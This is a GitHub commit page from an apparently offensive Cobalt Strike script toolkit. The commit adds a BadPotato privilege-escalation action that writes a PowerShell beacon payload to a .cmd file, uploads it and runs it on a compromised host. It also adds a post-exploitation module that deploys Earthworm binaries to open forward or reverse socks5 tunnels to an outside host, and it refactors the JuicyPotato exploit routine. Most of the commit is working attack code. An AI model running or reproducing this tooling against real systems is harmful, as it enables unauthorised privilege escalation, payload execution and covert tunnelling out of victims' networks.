Skip to content

Commit

Permalink
add socks tunnel
Browse files Browse the repository at this point in the history
  • Loading branch information
DeEpinGh0st committed Oct 19, 2020
1 parent 63b980d commit c470028
Show file tree
Hide file tree
Showing 9 changed files with 64 additions and 10 deletions.
2 changes: 1 addition & 1 deletion Main.cna
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
action("\cB Loading initial scripts.....");
include(script_resource("Common.sl"));
include(script_resource("modules/commands.cna"));
action("\c9 Loaded commands: safetykatz,seatbelt,hivejack,logonscreen");
action("\c9 Loaded commands: safetykatz,seatbelt,hivejack,logonscreen,badcmd");
include(script_resource("modules/auxiliary.cna"));
include(script_resource("third/rdpthief/RdpThief.cna"));
action("\c9 Loaded command: rdpthief");
Expand Down
8 changes: 8 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,14 @@
**由于异步处理问题,某些功能可能会存在BUG**
**暂时未找到解决方法,如果大佬们有解决方案,欢迎联系我~**


## 更新日志 2020-10-19(V1.3.5)
- 添加badcmd命令(基于badpotato)
- potatos提权添加badpotato
- post模块添加socks功能(基于ew)
>详见post---->Socks tunnel
![输入图片描述](README_md_files/20201019154454.png?v=1&type=image)
- **删除信息收集模块审计功能**
## 更新日志 2020-07-31(V1.3.4)
- 添加fakelogonscreen命令
- 添加SpaceRunner
Expand Down
Binary file added README_md_files/20201019154454.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file modified README_md_files/image.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
30 changes: 22 additions & 8 deletions modules/lpe.cna
Original file line number Diff line number Diff line change
Expand Up @@ -3,17 +3,11 @@

sub RunJuicyPotato{
btask($bid, "Task Beacon to run " . listener_describe($3['listener']) . " via JuicyPotato");
local('$payload $handle $call $port $id $fname $total');
@array = @("a", "b", "c", "d", "e", "f", "g", "1", "2", "3", "4", "5", "6");
$total = 8;
local('$payload $handle $call $port $id $fname');
$call = $3['Call'];
$port = $3['Port'];
$id = $3['CLSID'];
while($total >= 0){
$fname = $fname.rand(@array);
$total = $total - 1;
}
$fname = $fname.".cmd";
$fname = Getname().".cmd";
if ($call eq "CreateProcessWithTokenW"){
$call = "t";
}
Expand Down Expand Up @@ -41,6 +35,18 @@ sub RunJuicyPotato{
exec("cmd.exe /C del /F ".$fname);
}

sub BadPotato{
btask($bid, "Task Beacon to run " . listener_describe($3['listener']) . " via BadPotato");
local('$payload $handle $fname');
$fname = Getname().".cmd";
$payload = powershell($3['listener'], false);
$handle = openf("> $+ $fname");
writeb($handle, $payload);
closef($handle);
bupload!($bid, $fname);
bexecute_assembly($bid, script_resource("post/BadPotato.exe"), $fname);
}

sub CVE_2018_8120{
btask($bid, "Task Beacon to run " . listener_describe($3['listener']) . " via CVE-2018-8120");
local('$Rch $payload');
Expand Down Expand Up @@ -178,6 +184,14 @@ sub cve_2019_0803{
dbutton_action($Dialog, "Exploit");
dialog_show($Dialog);
}
item "Bad-Potato"{
$bid = $1['@'];
$Dialog = dialog("Bad Potato",%(bid => $bid),&BadPotato);
dialog_description($Dialog, "The vulnerability could allow elevation of privilege.");
drow_listener($Dialog, "listener", "Listener: ");
dbutton_action($Dialog, "Exploit");
dialog_show($Dialog);
}


}
Expand Down
32 changes: 32 additions & 0 deletions modules/post.cna
Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,26 @@ sub Migrate{
bshell!($bid,$cmd);
btask($bid, "migrating process location to ".$dir.$process.", please wait new session !", "");
}
sub Socks{
local('$type $lport $refhost $refport $rch');
$type = $3['type'];
$lport = $3['listenport'];
$refhost = $3['refhost'];
$refport = $3['refport'];
$rch = "x86";
if (beacon_info($bid,"is64") == 1){
$rch = "x64";
}
bupload!($bid, script_resource("post/ew/ $+ $rch $+ .exe"));
if($type eq "Forward"){
bshell!($bid, $rch.".exe -s ssocksd -l ".$lport);
btask($bid, "Started socks5 server at: ".beacon_info($bid, "external").":".$lport);
}
else{
bshell!($bid, $rch.".exe -s rssocks -d ".$refhost." -e ".$refport);
btask($bid, "Started socks5 server at: ".$refhost.":".$refport);
}
}
#append menus


Expand Down Expand Up @@ -160,4 +180,16 @@ sub Migrate{
dbutton_action($dialog, "Exec");
dialog_show($dialog);
}

item "Socks tunnel"{
$bid = $1['@'];
$dialog = dialog("Create socks server",%(bid => $bid, listenport => "1080", refhost => "1.1.1.1", refport => "8888"), &Socks);
dialog_description($dialog,"Create a forward or reverse socks5 server use Earthworm.");
drow_combobox($dialog, "type", "Type: ", @("Forward", "Reverse"));
drow_text($dialog, "listenport", "Listen port(-l): ", "");
drow_text($dialog, "refhost", "Reflection host address(-d): ", "");
drow_text($dialog, "refport", "Reflection port(-e): ", "");
dbutton_action($dialog, "Exec");
dialog_show($dialog);
}
}
Binary file added post/ew/x32.exe
Binary file not shown.
Binary file added post/ew/x64.exe
Binary file not shown.
2 changes: 1 addition & 1 deletion setting.txt
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@
ver = 1.3.4
ver = 1.3.5
dir = C:\Services\

0 comments on commit c470028

Please sign in to comment.